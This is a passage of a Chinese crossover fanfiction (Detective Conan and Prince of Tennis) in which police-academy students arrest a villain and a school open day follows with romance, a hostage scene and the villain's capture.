该人警惕性极强,并且保镖不离身。更别提他还有多处落脚地,昼伏夜出,行动很不规律。 强龙不压地头蛇。 他们这群外来户,如何在人家的地盘上把当地长官的独子抓获,还需谨慎谋划。 方案必须确保一击致命。如果一旦被他们察觉出不对劲,嫌疑人很有可能会直接离境出国。国外引渡条约复杂多变,到时他们可能就永远无法将其抓捕归案了。 由于敌方势力范围太大,最初制定的抓捕计划已全部作废。事到如今,再从外地抽调警察容易打草惊蛇。上面决定,临时将警校学生调到九鸟县作为各方警察的后备资源。 松田阵平几人为第一小组,直接被东京区的前辈要了过去。 前辈为了找线索,已经好几天没睡过整觉,整个人比之前在东京见面时又老了几岁。 他指点道:“松田,我知道这个案子和你妹妹有关。但越是这样,你越要沉着冷静。不要让自己的情绪被别人看出来,知道了吗?” 松田阵平知道前辈的好意,他点点头。 警校组几人分配到的任务是负责盯梢宫海一的某处房产,并判断出他在该处的居住频率。 伊达航直接入职当了保安。其余人则分布在房产周围,各自找到了适合盯梢的兼职。 警校组破案的决心可以称得上是行动计划小组里最强的几位,在不眠不休的盯梢之下,他们终于发现了端倪。 虽然宫海一名下的公寓众多。但每隔一段时间,他都会甩开保镖,单独去松田阵平他们负责的这栋住所里呆上两天两夜。 在发现这个规律之后,警校组立即把情报上报给了前辈。 本部的警视厅发来指令,让他们速战速决。在宫海一下一次入住樱花町32号的时候,将其逮捕归案。 确认抓捕宫海一的当天,正是冰帝每月一次的校园开放日。 考虑到嫌疑犯的特殊作息,各地警方商量一致决定,将抓捕时间定为上午5点。 松田阵平摩拳擦掌,向前辈主动请缨,要加入抓捕小分队。 他打算得很好,早上五点行动,把嫌疑人逮捕归案后,他再坐新干线回东京说不定还能赶得上冰帝的开放日。 前辈知道他在一旁也呆不住,点头应了,让警校组去领枪。 前辈:“你们几个待会儿跟在我后面,看我手势行动。” 五点钟,天还未破晓。 松田阵平几人跟着前辈破窗而入,当他们将宫海一一哄而上地控制住时。住在楼上的保镖终于听到了动静匆匆赶来。 房间里的警察早有准备,纷纷拔枪而立。 宫海一的保镖也不甘示弱,用黑洞洞的枪口直直地冲着他们。 宫海一见状毫不慌张,仿佛对这一画面早有预判。他打了个哈欠,挥退保镖,淡淡地说道:“正好我很久都没去过警局了,过去看两眼也好。” 不知道是对自己的扫尾过于自信,相信警方根本查不到证据;还是知道不论自己做什么事都能被保下来。他顺从地让他们给自己戴上了手铐,上了警车。 在离开之前,宫海一对着松田阵平说道:“你的发型不错,让我想到了一个人。” 松田阵平握紧手中的枪,大拇指摩挲着保险栓的位置,内心的暴戾情绪如同暴雨前迅速聚积的乌云。 没等他说些什么,宫海一就被其他警察押走了。 萩原研二迅速上前:“小阵平,冷静。千万别被他激怒。” 宫海一坐在警车的后座,两边是看管他的警察。当警车从松田阵平身侧慢慢开走的时候,宫海一忽然望向窗外,和他四目相视。 他挑衅一笑,用带着手铐的双手指了指自己的头发,嘴里无声说道:“妹妹。” 松田阵平面无表情地看着他,手里的激光笔对准他的眼睛。 宫海一猝不及防之下,被激光照了个正着。松田阵平只来得及听见一声暴躁的怒喝,警车就开走了。 松田阵平收起激光笔,冷哼一声:“都要进局子了,还装个屁。” 诸伏景光对此举刮目相看:“松田,你长大了。” “走了,去参加冰帝的开放日。”松田阵平伸个懒腰,“应该还来得及。” 松田春奈作为学生会秘书的一员,在今天忙得可谓是不可开交。 中午在办公室匆匆扒了几口,就要转身去隔壁开会。 迹部景吾前几天得了甜头之后,每天中午都嚷嚷着需要“充电”才能有精神学习。 松田春奈敌不过他幽幽的眼神,只得每天中午都花式和他拥抱。 好在迹部比较好哄,而且也容易知足。 其实他对拥抱的时长并没有那么在意,反而更注重其带来的含义。 在他眼里,两人每天中午的按时拥抱,已经约等于未来夫妻生活里的早安吻。 眼看着松田春奈今天落了这个流程,迹部景吾满脸哀怨道:“难道春奈今天就不给我充电了吗?” 松田春奈叹口气,朝他勾了勾手:“天天充电对电池不好。” 迹部景吾据理力争:“可是如果我不能按时充电的话,是会不定时死机的。” 松田春奈辩不过他,张开双臂站在原地,等他向自己走来。 突然,她的外套震动了一下。 她拿出手机,是松田阵平发来的消息:“人已抓获,证据确凿。” 松田春奈顿时喜上眉梢。 她一个助跑,直接跳到了迹部景吾的身上。 迹部景吾被唬了一跳,连忙上前几步,单手接住她,抱着她稳稳地转了一圈。 松田春奈的制服裙摆在空中飘舞,如同层层叠叠的波浪。 迹部景吾看着她的笑颜:“什么事这么开心?” 松田春奈没有回答,她轻拍他的肩膀,让他把自己放下来。 她内心的喜悦像是空中不断盛放的烟花,此起彼伏,灿烂盛大。 她摸着“咚咚咚”跳个不停的心脏,想让全世界都知道自己此刻的心情。 松田春奈望着他问道:“景吾,你想换种充电方式吗?” 迹部景吾觉得自己嘴唇有些干,下意识地舔了一下:“好啊。” 松田春奈一把拽住他的领带,踮脚亲了上去。 蜻蜓点水的一个吻,落在了他的脸颊。 曾经落在她发丝上的春雪,如今终于也飘到了他的身上。 松田春奈亲完之后,特意凑到他的面前去观察他的神情。 发现他并没有露出小说中写的什么“面露呆滞”、“不知所措”以及“脸红羞涩”等表情。 她撅了下嘴,打算回去就把忍足侑士送给她的那些纯爱小说给还回去。 亏他还自称纯爱专家,阅书无数。 骗子! 迹部他的实际表现和书里写得理论根本不相符。 松田春奈的右手还被迹部抓着,一时无法离开。 她伸出左手在他眼前挥了挥:“景吾,要去开会了。” “现在还不到时间”迹部景吾断掉的弦在此刻终于连上了,他看了眼表,“还有半小时。” 他目光灼灼地看着她,蠢蠢欲动地说道:“刚刚那下算你充电成功,现在该我了。” 松田春奈:“?” 夭寿了,他这种反应书上没写啊。 迹部景吾微微用力,松田春奈就飘然落到了他的怀中。 两人身高差足有20厘米,松田春奈只觉得自己的鼻尖仿佛撞到了一堵高大坚硬的墙,根本无法呼吸,目光所及之处都是他的胸膛,宽阔得像是一望无际的草原。 她推了推他,让他注意力度。 迹部景吾稍微拉开了一点距离,但右手还是牢牢地扣住她的腰肢,坚固得如同地牢里的锁链。 松田春奈只觉得自己像是在和一团火焰拥抱。 迹部景吾一边和她对视,一边慢慢低头俯身。 他俊美的面庞逐渐向她靠近,目光交涉之间仿若有电流划过。 松田春奈眼看着他离自己越来越近,下意识想往后退。 然而迹部景吾早有防备,根本不给她机会。 他停下了进攻的动作,笑着轻声问道:“你跑什么?” 此刻,两人之间的距离近到只有几厘米。 他说话时声带发出的震颤不经意间就扰乱了她心跳的节奏。 松田春奈脸红道:“要亲就亲,少说废话!” “固所愿也,不敢请耳。”迹部景吾呢喃道。 在靠近的过程中,他高挺笔直的鼻梁不小心碰到了她的。霎时间,松田春奈终于能将自己此时的状态和书里的知识点对上号了。 她反应过来,原来不是言情小说不靠谱,而是她一直代入错了视角。 迹部景吾轻拍她的后背:“放轻松。” 说罢,他侧过头,吻了上来。 “张嘴。” “嘶——轻点,别咬我。” 迹部景吾含混地说道。 女生柔软的嘴唇像是很好吸吮的果冻,让人欲罢不能。 他轻轻舔舐着,像是在吃童年得到的第一颗糖果。 作者有话说: 两章之内让幕后人彻底下线,之后就都是甜甜的恋爱啦。感谢在2024-04-07 23:41:04~2024-04-09 00:00:44期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:柠檬100瓶;杭奈、含雪孤辰20瓶;社长家的猫猫6瓶;独恋、又要减肥的业子、小虫、L_x.ying 1瓶; 非常感谢大家对我的支持,我会继续努力的! 第45章 安静的办公室里,两人交缠的呼吸声清晰可闻,偶尔还夹杂着轻微的水渍声。 松田春奈察觉到自己背后的双手正在逐渐收缩用力,两人的身体越靠越近。 她觉得自己像是被风吹到河里的落花,无力挣扎上岸,只能随波逐流。 迹部景吾猛烈的进攻如同听到号角吹响的战士,在得到允许的第一时间便冲锋陷阵,攻城略地。 在占领有利地形之后,他又慢慢地扩大舒适区。贪心地想把她拆吃入腹,让她浑身浸满自己的气味。 迹部景吾低头低得有些累了,一把将松田春奈抱起来,放到沙发顶部的横杠上面。 他将双手撑在她身体的两侧,换种姿势继续吃糖。 松田春奈担心自己一个不小心掉下去,下意识搂住他的脖颈来维持重心,呼吸变得有些急促。 迹部景吾察觉到后,放慢节奏,贴着她的双唇:“注意呼吸。” 松田春奈最近天天加训,体力和肺活量早已脱胎换骨。然而,她这点可怜的进步却远远不能满足少年贪婪的胃口。 运动系少年的肺活量远非常人能比。 他还没把糖果砸吧出味来,松田春奈就已经累得举旗投降了。 这时,迹部景吾骨子里属于资本家的一面终于露出了苗头。 他仍然痴缠着不肯罢休,从亲吻转为轻啄着她的嘴唇,慢慢地让她调整呼吸。 松田春奈被他缠得不耐烦了,柳眉倒竖:“你离我远点,别打扰我——” 迹部景吾“唔”了一声,确认道:“既然春奈都有力气说话了,那咱们就继续?” 松田春奈捂住自己的嘴巴,惊恐道:“你冷静一下,咱们待会儿还要开会!” “我知道。”他抬手看了眼腕表,倒计时道,“正因为如此所以才要抓紧时间,我们还可以再亲15分钟。” 松田春奈感觉他们已经耳鬓厮磨了许久,要是再继续亲下去,恐怕嘴巴都要磨破皮了,于是连忙反对道:“我可没同意。” 迹部景吾唉声叹气道:“果然,得到了就不珍惜了。” “我不是那个意思!”松田春奈抓狂。 有没有人能告诉她,男友恋爱脑应该怎么办? ! 她耐着性子解释:“马上要开会了,万一到时候咱们两个人肿着嘴巴进去冰帝未来一周茶余饭后的谈资就不用愁了。” 说着,她脑海里也有了画面感,立即打了个哆嗦。她赶紧晃晃脑袋,把这个场景从脑海里删走。 迹部景吾看出她的坚决,知道现在没机会了。 他将制服的扣子解开,仰起脖子,一扯领带,如同当初蓄意引诱夏娃的撒旦。 他盯着她如同玫瑰花瓣娇嫩的红唇:“那开完会呢?” 松田春奈不解:“什么意思?” “我是说,既然开会之前不能亲”迹部景吾努力给自己谋福利,“那开完会之后能补上吗?” 松田春奈:“” 迹部景吾看着她满脸无语的样子,追问道:“能吗?” 他知道自己的女友可能在心中骂他不要脸。但没办法,毕竟他们迹部家的家训之一,就是追女人不能要脸。 这可是来自他曾曾祖父的血泪教训,他老人家当年就是太过绅士而导致情场失意。 自此在教育下一辈的时候,总是拿自身经历作证,让他们切莫太过要脸。 这条家训在经过一代代的实操之后,越发被奉为圭臬,并被后代们运用得炉火纯青。 松田春奈沉默半响,看着男友努力在自己面前开屏,遂道:“ 能。” 说实话,接吻的感觉其实还不赖,甚至比她想象得还要舒服。酥酥麻麻的像是有电流经过。 迹部景吾得到了自己想要的答案,把她轻巧地从沙发上抱下来,静静地坐在一旁看着她对镜打理自己。 松田春奈抬起下巴,对着镜子左看右看,总感觉唇色比太过艳丽,和平常不符。发型也有些凌乱,像只外出觅食归来的小兽。 时间紧迫,她直接把头发散开,侧着头用手作梳插进发丝,从上到下地捋了捋。 至于说唇色—— 她一不做,二不休,干脆画了个唇妆。双唇饱满诱人得如同伊甸园里的苹果。 迹部景吾轻轻敲打着膝盖,眼里的欲色浓稠得如同化不开的墨。 他换了个姿势坐着,觉得自己此刻像极了等待妻子梳妆外出的丈夫。怪不得父亲从不在母亲化妆的时候催她,只是静静地在一旁陪伴等待。偶尔母亲来了兴致,会允许父亲为她上唇妆。 幼时的他还不懂,只觉得那不过是填涂游戏,没什特别。 至于说现在嘛 迹部景吾用他堪称顶尖的动态视力仔细扫描了一遍她的妆容,然后开口道:“春奈,你的口红好像涂出来了。” “嗯?”松田春奈问道,“有吗?我觉得很完美啊。” 他起身过去,虚空点了点她的唇角处。 松田春奈对镜自照,终于发现了唇角处轻微涂过边界的一点痕迹,可以说在正常的社交范围内根本看不出来。 她懒得再去找棉签,打算用指腹把多余的部分蘸走。 迹部景吾拿出上衣口袋的手帕,出声道:“还是我来吧。” 松田春奈对他毫不设防,仰着脸看着他,任由他在自己脸上自由发挥。 迹部景吾将手洗干净后,左手轻抬她的下巴。 松田春奈的肌肤比丝质的手帕还要柔软,他丝毫不敢用力,将手帕缓缓地贴到她的唇角边缘,轻柔地将多余的口脂抹走。 当接触到极致的柔软时,人会不可避免地有些破坏欲。 迹部景吾压下内心有些邪恶的心思,一派矜贵优雅的样子说道:“好了。” 洁白的手帕上多了抹亮眼的蔷薇色。 他神色自若地将其叠好,又放回原处。 松田春奈:“要不你换个方巾吧,这条上面的口红痕迹有点明显。” 迹部景吾要的就是这个痕迹。 “办公室里没有新的。”他装作遗憾的样子,“反正大家也不会注意到这个地方。” 松田春奈面露纠结之色,还是觉得有些不妥。别的同学她倒不担心,主要是忍足侑士这家伙的眼睛太尖了。天天仗着他2.5的视力去到处找八卦。 迹部景吾欲盖弥彰道:“这点红看着也不明显,反而像是特定的标志。” 松田春奈这才作罢。 收拾妥当之后,松田春奈还是觉得镜子的自己看着不太对劲。 她盯着镜子看了一会儿,然后转身问道:“为什么我总觉得哪里怪怪的。” 迹部景吾看着她水光潋滟的双眸,和脸颊上如晚霞般的红晕,一下子找到了问题所在。 “我觉得没有问题。”他转移话题道:“咳时间快到了,先去开会吧。” 松田春奈刚踏进会议室,忍足侑士调侃的目光就像舞台上的聚光灯一样如影随形。 他先是满含深意地看着迹部胸袋里的方巾,而后又在他们两个之间来回打转,时不时地还露出让人牙疼的微笑。 松田春奈被看得直发毛,总感觉他笑得不怀好意。 她在桌下踢他一脚,小声说道:“你再这么看我,呆会儿就和我去校门口迎宾。” 忍足侑士闻言立刻转移视线。 开放日门口迎宾的活向来是最苦最累的,因为一刻也没法偷懒。由于原先负责这块的人临时有事,松田春奈无法,只得身先士卒。 今天是本学期的第一次开放日,预约来校的人数达到了一个极其可怕的数字。 不但有家长来校,还有国中的学生打算来冰帝参观,以此决定未来是否择校。 风纪部长说得慷慨激昂:“今天来参观的学校是帝丹国中和帝丹小学,他们那儿的生源一向很好。在如今这个美色时代,我提议,让会长还有秘书处的两位同僚去门口迎宾。” 忍足侑士的笔转不动了,他干笑两声:“迎宾的话,让迹部和松田去就足够了吧,我过去也没什么用。” 风纪部长挑剔地看了他一眼:“话虽这么说,但也保不准可能有人好你这口。” “ 喂喂!”忍足侑士忍不住了,“什么叫也好我这口?我也是有后援团的人!” “那还不如直接给帝丹的学生每人发一本学生手册。”松田春奈对迎宾倒是无所谓,她只是有一点不解,“咱们学校的奖学金应该比我们几个的吸引力要大得多吧。” 风纪部长高深莫测地说道:“你不懂,奖学金是只有少部分人才能拿到的。但盛世美颜不同,只要他们来这里上学,那就每天都能欣赏到。” 松田春奈:“” 真是好有哲理的一番话,她竟然被诡异地说服了。 * 颜值越大,责任越大的三人在冰帝的大门口处努力笑脸迎人。 好在旁边的保安亭提供了一大片阴凉,不然几人顶着正午的烈日,真的很难发自内心地笑出来。 事实证明,风纪部长的眼光确实很准。 但凡从门口经过的小初生,都会对他们三个明里暗里地行注目礼。 忍足侑士就算身在迎宾,也耽误不了八卦的心思。 他的嘴唇轻轻翕动:“那个男生已经是第五次从大门口经过了。松田,要不要打个赌,看他什么时候会过来要你的联系方式。” 迹部景吾闻言警惕心发作,试图用犀利的目光呵退不自量力的男生。 大概是被迹部严肃的表情吓到,那名男生最终还是放弃了别的想法,转身匆匆离开了。 “行啊小景,都会用眼神吓人了。”忍足侑士凑过去,低声和他开玩笑道,“以后记得多练练这招,说不准得用一辈子呢。” 迹部景吾显然被他那句话里的“一辈子”给愉悦到了。 他神情放松道:“我乐意。” 忍足侑士一翻白眼,站到离他最远的地方,继续站岗迎宾。 松田春奈之前没干过在校门口迎宾这样的活,今天乍一体验觉得还行,没有忍足描述得那么可怕。 大部分家长之前在带孩子报道的时候都来过学校,所以一般不需要他们指路。那群来参观的学生就更好办了,与其事无巨细地给他们讲解,他们更喜欢自己拿着学生手册研究,和同伴在校园里漫无目的地四处闲逛。 美名其曰——这才是真正的青春。 眼看着预约的大部队都已经进校了,松田春奈问道:“咱们要在这里站到几点?” 趁着没人过来找他们咨询,迹部景吾顺手拿起一旁的学生手册给她扇风。 他的力气大得很,扇得自然风又大又猛,没几下就让人觉得热汗全消。 忍足侑士往自己脸上贴金,做抹泪状:“相处这么久,这还是小景第一次给我做这种事,真是太让人感动了。” 迹部景吾知道他给点阳光就灿烂的习性,懒得搭理他。 帝丹的孩子不但生源优质,而且还特别会来事。 迹部景吾正给松田春奈献殷勤,一个扎着双马尾的女生突然一路小跑过来,害羞地把矿泉水递给了她:“姐姐,这瓶水是我刚从食堂买的,你们可以喝这个解渴。” 没等她给钱,双马尾女生又小跑着离开了。 忍足侑士啧啧咂舌,感慨她受欢迎的程度不分性别。 三人说了半天的话,正口渴得厉害,围在一起把这瓶水给喝得一滴不剩。 迹部景吾看了眼时间:“差不多到点了,咱们可以撤了。” 一个元气满满的声音从远处传来:“不好意思,请等一下!” 只见一个头发蓬松,上面还留着一个小尖角的女生,和一个头戴发箍的女生手拉手地向他们狂奔而来。 “前辈,真的不好意思,我们来晚了。”头发上留有小尖角的女生双手合十道,“请问还有多余的学生手册可以给我们吗?” 松田春奈觉得她可爱极了,眉眼弯弯道:“当然。” “学姐,你可真好看!”发箍女生眼神亮晶晶地看着她,“请问你是模特吗?我会努力为你应援的!” 来自低年级女生的诚心夸赞,让松田春奈心情颇好。 她笑眯眯地摇摇头:“不是呢。” “欸——”小尖角女生震惊道,“可是我总感觉好像在杂志里见过学姐的样子。” 一个酷酷的男生抱着足球走过来。他看了一眼松田春奈,然后说道:“笨蛋小兰,那是因为这位学姐曾经上过《学生月刊》。你还把那页专门剪下来——” “呜呜”酷酷的男生被小尖角女生一把捂住,“新一!不要对学姐说这么多!” 她不好意思地看向松田春奈:“因为学姐的那张照片实在是太好看了,所以我才想剪下来珍藏,绝对没有任何奇怪的意思!” 发箍女生像是发现了新大陆一样:“学姐,所以你是和照片里的那个会长在一起了是吗?” 松田春奈点点头。 “啊啊啊真是太好了!”发箍女生和小尖角女生激动地抱在一起,“当时看照片就觉得你们两位好般配,光是我们班就有好多同学在磕你们的cp。” 迹部景吾满意道:“你们都很有眼光。” 和帝丹的这几位小学生互相交换了姓名之后,松田春奈主动道:“你们打算去哪,我带你们直接过去好了。” 毛利兰:“我们想去冰帝的玫瑰园。” 一路上,铃木园子一直在缠着松田春奈聊天。 她振振有词道:“松田学姐,要是你以后进娱乐圈的话,一定会比冲野洋子还要红!” 毛利兰在一旁疯狂点头。 工藤新一在旁边小声嘟囔:“什么嘛,明明刚刚见到我的时候还把我骂了一顿,现在对着学姐又变了副面孔” “那还不是因为新一你踢球踢到忘了时间!”毛利兰双手叉腰,生气道。 松田春奈觉得此行不虚,免费看了一场欢喜冤家的青春戏码。 眼看青梅生气了,工藤新一立即投降。 “快看,兰。”他指着对面的自动贩卖机,急中生智道,“那里有你一直想要的食堂玩偶。” 毛利兰眼前一亮,她对松田春奈说道:“松田学姐,你不用送我们了。我们抓完娃娃,自己过去就可以。” 松田春奈只觉得自己被忍足传染了八卦的坏习惯,她看着这对青梅竹马:“学生手册上的地图比较简略,你们能看懂吗?” 工藤新一自信道:“松田学姐,我可是个侦探。玫瑰园的具体位置我早就知道了。” 松田春奈挑眉。 既然这小子想在心仪的女生面前展现自己,那她就不多管闲事了。 “去那里抓娃娃可以,但是旁边的那个教学楼就别进去了。”松田春奈提醒道,“那栋楼正在装修,里面全是建筑废料,脏得很。” 几人乖乖点头。 松田春奈没忍住,临走前摸了摸毛利兰的小尖角。 嗯。手感好极了。 迹部景吾看着她一步三回头的样子,失笑道:“你就这么喜欢这三个小学生?” “活泼可爱的青梅,元气满满的闺蜜和臭屁傲娇的竹马。”松田春奈掰着手指头总结道,“多么适合搬上荧幕的青春群像。” 迹部景吾认同道:“那小子确实够自恋。” 松田春奈瞥他一眼。 工藤新一自恋的程度确实和他不相上下。 “这么看着我干什么?”迹部景吾挑眉道,“当然,如果你想在这里补上那个吻的话,我也没有意见。” “!”松田春奈像被电了一下,环顾四周确认大家都离他们足够远,绝对听不到他刚刚说得内容,这次放下心来。 她把他拉到一个死角处,凶巴巴地戳着他的胸膛说道:“以后,不许在外面说这种话,听到没有!” 迹部景吾只觉得她眼睛就算在灰扑扑的背景中,也亮得如同天上的繁星。 他托盘而出道:“我是在发现周围没有人之后,才故意这么和你说话的。” “我就是想逗逗你。”迹部景吾诚恳道,“如果这样让你不开心的话,那我下次不会了。” 松田春奈看着他一个大个子,可怜巴巴地在楼缝之间给自己低头道歉,开口道:“倒也没有这么严重。” 迹部景吾一听她的语气,感觉有门:“那我以后还能这么逗你吗?” “”松田春奈恨铁不成钢,“这个也要我教你吗?” 迹部景吾眨着眼睛:“我怕我惹你不开心。” 松田春奈刚要说话,却发现有个陌生的身影正在和毛利兰还有铃木园子攀谈。一直跟在她们身边的工藤新一却不知去哪了。 “嘘!”她让迹部景吾朝那个方向看去,“我怎么记得没在冰帝见过他呢?你在冰帝的时间比我长,你对他有印象吗?” “没印象,但是又看着眼熟。”迹部景吾皱眉,“而且他的校服也有问题,是之前的旧款,我们明明一年前刚换的新样式。” 松田春奈看着那个陌生男人要引着她们往那个装修的旧楼走去,雷达立刻发动:“快报警,我觉得这个人有问题。” 毛利兰其实也察觉到了不对劲,这个男人拦下她们后,就一直在问她们关于松田学姐的事情。说什么她是个水性杨花的女人,一边吊着他,一边和别人谈恋爱。 “吊着你?”铃木园子心直口快道,“你是不是出现癔症了?你这种人我在网上见多了,别人要是和你说一句话,你就觉得人家暗恋你了。话说回来,学姐见过你,认识你是谁吗?” “她当然知道我。”男人摸了摸腰部,得意道,“我可是让她魂牵梦绕的人。” 这个穿着老款冰帝校服的男人正是宫海一。 他没想到那群警察竟然真的找到了证据,看来他们也不全是废物。 好在他随身带着的现金够多,多到可以让人出卖灵魂。 他从警视厅偷溜出来后,就直奔冰帝。他知道自己犯得那些事有多严重,如果证据确凿的话,他那个爹现在估计自身都难保,更别提保他了。 之所以要来这里,当然是要最后干一票大的。 他第一眼见到松田春奈的时候,就过来和她表白了。那时,他是真的想和她好好谈场恋爱的。 可是—— 没想到她想也没想就把自己给拒绝了! 想到这里,宫海一表情狰狞。 从小到大,从来没有人敢拒绝他。 既然她这么不识趣,那他也就不用留情面。 他想得好好的,找人随便拍点照片,散播点谣言,估计她也就和那个没谈几天的男朋友分手了。谁知道,小岛健太那个废物,把自己给曝光不说,还被送进了局子。真是成事不足,败事有余。 宫海一看着眼前的两个女生,暴虐嗜血的老毛病又犯了。 他打算速战速决,在警察找来之前,把想要的人一起带走。 到那时,他临行的路上也不算孤单了。 宫海一趁铃木园子不备,掏出枪顶着她的背后:“少废话,想活命就跟我过去。” 铃木园子吓到失声,拼命给毛利兰使眼色,让她别管自己,赶紧快跑。 毛利兰第一次见真枪,整个人紧张得想吐,但还是强装镇定地跟着宫海一走进了那栋装修中的大楼。 松田春奈他们离得比较远,具体发生了什么看不真切。 当他们发现毛利兰她们走进那栋大楼时,立刻冲了过去。 迹部景吾跑得飞快:“我刚刚已经叫了保安。你先别着急。” 松田春奈飞速绕到毛利兰她们刚刚进去的器材室的后窗处。 发现宫海一正背对着她,持枪挟持着铃木园子。 最近天天泡在警校射击室的她,一眼就认出来,这把枪是市面上新出的微型手枪。 上面不但配了消音器,还安了加长弹匣,危害极大。 松田春奈看得出来,宫海一动作娴熟,手法自有一套规律。内心顿时沉了沉。 毛利兰看到了后窗处的他们,一边努力和宫海一搭话拖时间,一边在仔细寻找他的动作漏洞。 宫海一一进入这个破败的器材室,就像是回到了自己的快乐老家,脑海里回想起的全是自己曾经在地下室里虐杀那些无辜路人的场景,完全忘记了自己的本来目的。 他深吸一口气,陶醉道:“你们知道吗?其实我有一个专门的房间,就是用来处理你们这些不听话的女人。” 这里的后窗大开着,宫海一说了什么,松田春奈她们听得一清二楚。 迹部景吾不知道从哪里捡来了一副网球拍,他冷静地和松田春奈说道:“他现在情绪有问题,咱们只需要耐心等待到他出现破绽的那一刻。” 工藤新一此时也抱着足球悄然出现在了他们身边:“该死,他竟然还有枪。” 毛利兰非常聪明,她引诱着宫海一越说越多。到最后,他仿佛又沉浸在了自己为王,呼风唤雨,无所不能的世界里。 在那里,所有人都对他毕恭毕敬,小心翼翼。 他张开双臂,想要拥抱那个之前的自己。 就在此时—— 毛利兰一个飞踢将他踹倒在地。 紧接着,两股劲风也一前一后地向他袭来。 足球先是“砰”地一下打中了他的后背,紧随其后的网球则是瞄准了他的右手,让他手指脱力,再也拿不稳手中的枪。 工藤新一和迹部景吾翻出来废弃的跳绳,把无力起身的宫海一捆绑起来。 松田春奈则立刻翻身进去,几秒内把枪卸得整整齐齐。 工藤新一对着她这一手,直接吹了声口哨以示敬佩。 毛利兰终于恢复了点精神,狠狠地瞪他:“新一!” 迹部景吾也不说话,只是静静地看着他。 工藤新一:“那什么,我就是配合一下当下的气氛,没有什么别的意思。” 被挟持了半天的铃木园子,此刻终于笑出声来。 松田春奈看着哥哥给自己发来的嫌犯的照片以及出逃的消息,唇角无声地勾起。 她双手一动,又将枪支复原。 工藤新一对这位学姐的动作很是关注,他满眼疑惑:“?” “吧嗒”一声。 她将保险栓拉下来,然后举枪对准宫海一的眉心。 作者有话说: 感谢在2024-04-09 00:00:44~2024-04-10 23:50:17期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:又要减肥的业子5瓶;L_x.ying、眠北1瓶; 非常感谢大家对我的支持,我会继续努力的! 第46章 工藤新一本来还在庆幸,好在那位松田学姐会卸枪,不然枪械一旦走火可不是闹着玩的。 但是谁知道成也萧何,败也萧何。 在看了不知道谁给她发的消息之后,这位学姐像是突然变了个人似的,格外令人生畏。 明明脸上还和之前一样带着笑意,但却有种刀剑出鞘的杀伐之气。 工藤新一抖了抖胳膊上起的鸡皮疙瘩,往自家青梅的身旁靠了靠。 作为顶级女演员和侦探小说家的儿子,他生来就比旁人多了份敏锐的直觉。靠着这份与生俱来的第六感,他成功避过不少次来自父母对自己的幼稚捉弄。 工藤新一透过松田春奈垂下的发丝,从缝隙中仔细观察她的面部表情。不知为什么,他总感觉今天这事不会那么轻易了结 ——果不其然,他的猜测成真了。 在松田春奈把枪复原的时候,那短短的几秒钟还不足以让他反应过来她的用意。虽然心里隐隐约约会有些猜测,但他显然没有想到她竟然会这么大胆。 当听到保险栓被拉开的声音时,自小被老爸带着在夏威夷学过不少技能的工藤新一这才发觉,事情大条了。 在场的其他人对枪械不算了解,哪怕亲眼目睹到松田春奈拿枪顶人的画面,也没有什么额外的表情,都以为她只是打算吓唬一下宫海一,没打算下死手。 只除了工藤新一。 他在夏威夷的射击场里听到过太多次这种声音,以至于刚刚猛然听到的时候,还以为是自己听错了。 他甚至感觉,这位学姐拉开的不是保险栓,而是他的脑血栓。 工藤新一连忙上前,磕磕巴巴道:“松松田学姐,你你可千万别激动。” 他手足无措地站在原地,生怕一个言语不当,刺激到她,造成不可挽回的局面。 松田春奈的手很稳,枪口正纹丝不动地抵着宫海一的眉心:“我现在非常冷静。” “相比他现在不省人事的状态,我认为还是把他弄醒更带劲,你们说呢?” 她看着昏死过去的宫海一,虚心地向他们征求意见。 工藤新一彻底麻了。 这是什么黑.道无情女杀手的暴虐发言。 他的内心在疯狂刷屏,姐姐,你现在看起来比地上的这位犯罪分子更吓人啊喂! 毛利兰还在气头上,对于刚刚宫海一对自己好友的所作所为十分愤恨。 她把铃木园子搂在怀里,轻声安抚道:“园子,你来决定吧。” 铃木园子在小兰温暖的怀抱里慢慢缓过来一点。 她看着刚刚手持武器意欲杀害自己的罪犯,如今被五花大绑,毫无还手能力地躺在地上,胆子又渐渐大了起来。 想到自己刚刚受得罪,她恶狠狠道:“松田学姐,我同意你的观点!” “不是,你们”工藤新一从未觉得自己这么孤立无援过。 他是进入了什么平行世界吗? 自己的小伙伴怎么眨眼间都变成犯罪分子后备役了。 他感觉自己此刻特别割裂,周围人的淡定和他的焦灼形成了两个不同的世界,仿佛只有自己一个人在担惊受怕。 到最后他甚至开始怀疑自己,难道真的是他太过大惊小怪了吗? 他环顾一圈,打算给自己找个盟友。 在看到迹部景吾之后,他像是看到了救星一样,立刻高声对他说道:“迹部学长,你快过来说句话啊!” 迹部景吾了解自己的女朋友,她绝不是那种一时冲动的人。 相反,她在面对某些不确定的事,还会极度仔细谨慎。就像当初搜集小岛健太的证据一样。 如果说,什么人能让一向好脾气的她变了样子的话。他大概也能猜个大差不差。 他走过去,像是打谜语一样地问道:“那个幕后人是他吗?” 松田春奈把枪口用力地往宫海一的脸上怼了怼,虽然没有明说,但她冷凝的表情已经说出了答案。 想到自己之前给校警打得电话,迹部景吾掏出手机又拨了过去:“嗯,事情都解决了,你们不用过来了。 工藤新一:“” 他听到这里只觉得更害怕了。 不是,事情哪里解决了?怎么就不用过来了? 这位学长口中的解决到底是解决事情还是要解决人啊啊啊! ! ! 他可真不愧是学姐的男朋友。 两人不论是遣词造句,还是举手投足之间,都有种在同一个道上混的大佬气质 迹部景吾的反应让工藤新一觉得自己好像做了一件无用功。到目前为止,他除了用足球把犯人踢晕以外,仿佛就没再做对过任何一件事。 他的心慢慢凉了。 为了防止真的出现不可控制的场面,他把手机捏在手里,盲打出报警号码。 在他的手指即将按下去拨打的一瞬间,松田春奈仿佛知道他要做什么一样,和他说道:“工藤君,为了避免造成警力的浪费,我建议你现在不要报警。” “ 松田学姐说得这话,我好像没有听懂。”房间里这么多双眼睛突然同时望向自己,工藤新一觉得自己的冷汗都快滴下来了。 松田春奈:“因为我已经提前报过警了,估计他们还有个20多分钟就能到了。” 一个人有没有说谎,他还是能判断出来的。 工藤新一强迫自己朝她露出一个人畜无害的笑容,然后将捏得汗涔涔的手机收起来,试探着问道:“既然警察快到了,那咱们是不是需要先处理一下现场。” “比如把枪什么的先放一下。万一被警察撞到这种场面,要是解释不清那麻烦可就大了。”工藤新一慢慢组织着语言,耐心地劝解道。 语音刚落,他忽然觉得哪里怪怪的。 